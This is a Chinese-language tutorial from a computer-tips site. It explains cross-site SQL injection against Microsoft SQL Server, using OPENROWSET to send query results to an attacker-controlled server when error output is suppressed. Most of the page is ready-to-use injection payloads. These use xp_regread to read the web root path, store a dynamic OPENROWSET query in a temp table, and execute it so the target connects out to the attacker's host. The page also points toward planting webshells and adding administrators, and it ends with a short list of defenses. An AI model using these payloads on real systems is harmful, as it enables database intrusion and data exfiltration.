萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

跨站式 SQL 注入技巧:利用 OPENROWSET 將錯誤回顯導向外部數據庫實現盲注突破

當目標屏蔽錯誤回顯,將數據「偷渡」到受控服務器

攻擊場景

目標站點:
① 已屏蔽錯誤信息回顯。
② 使用普通權限數據庫帳號。
③ 系統打滿補丁。
常規報錯注入、聯合查詢均無回顯,陷入盲注困境。

核心思路:跨站式 SQL 注入

利用 SQL Server 的 OPENROWSET 函數,**將查詢結果發送到攻擊者控制的外部 SQL Server**,在攻擊端的「事件探測器」中捕獲命令與數據,繞過目標站點的無回顯限制。

實戰步驟(簡化版)

  1. 準備環境:攻擊者擁有一台可公網訪問的 SQL Server(SA 權限),啟用「事件探測器」跟蹤傳入語句。
  2. 探測權限:嘗試 sp_addlinkedserver 建立鏈接服務器 → 需 sysadmin 失敗。
    改用 OPENROWSET('SQLOLEDB','攻擊者IP;sa;密碼','查詢語句'),權限要求較低。
  3. 構造載荷:
    在目標注入點提交:
    '; DECLARE @result varchar(255); EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result OUTPUT; INSERT INTO laokai(cha8) VALUES('SELECT * FROM OPENROWSET(''SQLOLEDB'',''攻擊者IP;sa;密碼'',''SELECT * FROM pubs.dbo.authors WHERE au_fname='''''+@result+''''''') AS a');--
    含義:讀取目標 IIS 站點物理路徑(註冊表),構造帶有該路徑的 OPENROWSET 查詢,寫入本地臨時表 laokai。
  4. 觸發執行:
    提交:'; DECLARE @a1 char(255); SET @a1=(SELECT cha8 FROM laokai); EXEC(@a1);--
    目標服務器執行該動態 SQL,向攻擊者 SQL Server 發起連接,攻擊端事件探測器捕獲到:
    SELECT * FROM pubs.dbo.authors WHERE au_fname='C:\Inetpub\wwwroot' → **獲得絕對路徑**。
  5. 後續利用:知曉路徑後,可進一步構造 OPENROWSET 寫入 WebShell、添加管理員等。

關鍵技術細節

  • 字符轉義:注入語句中引號等特殊字符需轉 16 進制(文中作者編寫 ASCII→Hex 工具處理)。
  • 不依賴 xp_cmdshell,繞過其被刪除/禁用的限制。
  • 同理可構造 INSERT 而非 SELECT,實現數據竊取/寫入雙向操作。
  • 防禦建議

    1. 嚴格限制數據庫帳號權限:禁止 OPENROWSET/OPENDATASOURCE/sp_addlinkedserver 等分布式查詢權限。
    2. 禁用/刪除 xp_regread、xp_cmdshell 等擴展存儲過程。
    3. Web 應用層面:參數化查詢、嚴格輸入驗證、錯誤信息統一友好頁面(不回顯堆棧)。
    4. 網絡層面:數據庫服務器**禁止主動向外連接**互聯網/非受信段,僅允許應用服務器訪問。
copyright © 萬盛學電腦網 all rights reserved